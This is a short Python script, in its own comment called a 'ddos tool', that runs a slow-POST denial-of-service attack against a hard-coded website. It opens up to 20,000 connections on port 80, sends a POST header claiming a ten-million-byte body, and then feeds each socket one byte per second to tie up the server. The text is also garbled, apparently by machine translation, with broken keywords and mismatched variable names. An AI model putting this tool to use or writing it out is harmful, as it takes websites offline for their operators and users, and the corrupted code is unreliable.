The import socket
The import time
The import threading
# pressure Test, ddos tool
# -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
MAX_CONN=20000
PORT=80
The HOST="www.bjlovedog.com"
PADE="innndex. PHP"
# -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
Buff=(" HTTP/1.1 POST % s \ r \ n ")
Host: "% s \ r \ n"
"The content - Length: 10000000 \ r \ n"
"Cookie: dklkt_dos_test \ r \ n"
"\ r \ n" % (PAGE, the HOST)
Socks=[]
Def conn_thread () : global socks for I in range (0, MAX_CONN) : s=socket. The socket (socket. AF_INET, socket. SOCK_STREAM) try: s.c onnect ((HOST, PORT) s.s end (buf) print (" Send buf OK! , conn=% d \ n ") % I socks. The append (s) except the Exception: print (" Cold not connect to the server or send err r: % s ") % ex time. Sleep (10)
# end def
Def send_thread () : global socks while True: for s in socks: try: s.s end (" f ") # print "send OK!" Except the Exception: print (" Send Exception: % s \ n ") % ex socks. Remove (s) s.c losse () time. Sleep (1)
# end def